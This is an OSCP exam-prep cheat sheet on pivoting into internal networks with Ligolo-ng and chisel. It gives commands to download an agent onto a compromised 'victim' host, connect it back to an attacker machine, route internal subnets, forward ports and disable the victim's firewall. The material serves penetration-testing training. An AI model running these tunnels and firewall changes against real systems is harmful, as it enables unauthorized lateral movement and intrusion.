0xoscp-companion
← Back to search

Pivot into Internal Networks with Ligolo-ng

Pivoting & Transfertool

Summary

Stand up Ligolo-ng tunneling: bring up the tun interface, run the proxy on Kali, connect the agent from the victim, add a route to the internal subnet, start the session, then forward ports with listener_add.

Walkthrough

Ligolo-ng builds a VPN-like tunnel through a compromised host so you can reach an internal subnet from Kali as if you were on the network.

Steps

  1. Create the tun interface on Kali (ligolo) and bring it up. Work out the target subnet/mask first (e.g. 255.255.255.0 → /24).
  2. Start the proxy on Kali with -selfcert (clear-text, fine for the exam). Add -port if you need a non-default listener.
  3. Deliver the agent to the victim (e.g. download with iwr into C:\Windows\Tasks) and connect back with -connect <IP>:11601 -ignore-cert. A session appears in the proxy console.
  4. Add a route for the internal subnet over the ligolo interface, then verify with ip route list.
  5. Select and start the session in the proxy console: run session, pick the session, then start. The tunnel is now live and you can reach internal hosts directly.

Forwarding a local port on the agent

listener_add binds to the agent's localhost, not arbitrary subnet hosts. To expose a service running on the agent (e.g. its 127.0.0.1:80) back on Kali, select the session and run:

`` listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:80 --tcp ``

Then browse it on http://kali:8080. Repeat with different ports for multiple agents.

Alternative: chisel for a single local port

If you only need one local port and Ligolo is set up, you can also use chisel. Turn off the firewall on the victim, run the chisel server on Kali (chisel server --reverse --port 8000), then connect from the victim:

`` .\chisel.exe client <IP>:8000 R:localhost:127.0.0.1:1433 ``

Commands

bash

sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up

bash

./ligolo_proxy_linux -selfcert
# optional custom port:
./ligolo_proxy_linux -selfcert -port <PROXY_PORT>

powershell

iwr -uri http://<IP>/ligolo_agent_windows.exe -UseBasicParsing -Outfile ligolo_agent_windows.exe

powershell

.\ligolo_agent_windows.exe -connect <IP>:11601 -ignore-cert

bash

sudo ip route add <SUBNET>/24 dev ligolo
ip route list

other

session
start

other

session
session 1
listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:80 --tcp